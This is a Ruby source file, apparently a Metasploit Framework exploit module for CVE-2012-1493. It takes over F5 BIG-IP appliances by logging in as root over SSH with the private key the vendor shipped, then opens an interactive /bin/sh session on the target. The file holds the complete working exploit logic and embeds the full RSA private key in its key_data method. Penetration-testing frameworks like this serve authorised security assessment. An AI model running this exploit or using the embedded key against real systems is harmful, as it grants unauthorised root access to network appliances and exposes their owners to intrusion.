138 lines
3.5 KiB
Ruby
138 lines
3.5 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'net/ssh'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Auxiliary::Report
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def initialize
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super({
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'Name' => 'F5 BIG-IP Known Private Key',
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'Version' => '$Revision$',
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'Description' => %q{
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F5 ships a public/private key pair on BIG-IP appliances that allows
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passwordless authentication to any other BIG-IP box.
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Targets' => [ [ "Universal", {} ] ],
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'Payload' =>
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{
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'Compat' => { 'PayloadType' => 'cmd_interact' },
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},
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'Author' => ['egypt'],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
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[ 'CVE', '2012-1493' ],
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],
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'DefaultOptions' => { "USERNAME" => "root" },
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})
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register_options(
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[
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# Since we don't include Tcp, we have to register this manually
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Opt::RHOST(),
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Opt::RPORT(22),
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], self.class
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)
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register_advanced_options(
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[
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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]
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)
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deregister_options('PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS')
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end
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def rport
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datastore['RPORT']
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end
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def ip
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datastore['RHOST']
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end
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def do_login(ip, user, port)
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opt_hash = {
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:auth_methods => ['publickey'],
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:msframework => framework,
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:msfmodule => self,
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:port => port,
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:key_data => key_data,
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:disable_agent => true,
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:config => false,
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:record_auth_info => true
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}
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opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
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begin
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ssh_socket = Net::SSH.start(ip, user, opt_hash)
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rescue Rex::ConnectionError, Rex::AddressInUse
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return :connection_error
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rescue Net::SSH::Disconnect, ::EOFError
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return :connection_disconnect
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rescue Net::SSH::AuthenticationFailed
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# Try, try, again
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print_error "#{ip}:#{rport} SSH - Failed authentication"
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rescue Net::SSH::Exception => e
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return [:fail,nil] # For whatever reason.
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end
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if ssh_socket
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# Create a new session from the socket, then dump it.
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conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
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ssh_socket = nil
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handler(conn.lsock)
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return [:success, nil]
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else
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return [:fail, nil]
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end
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end
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def exploit
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ret,proof = do_login(ip, datastore["USERNAME"], rport)
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print_good "Success: '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
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end
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def key_data
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<<EOF
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-----BEGIN RSA PRIVATE KEY-----
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MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
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UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
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OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
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gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
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8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
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7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
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2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
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37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
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RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
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rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
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uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
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Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
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LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
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-----END RSA PRIVATE KEY-----
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EOF
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end
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end
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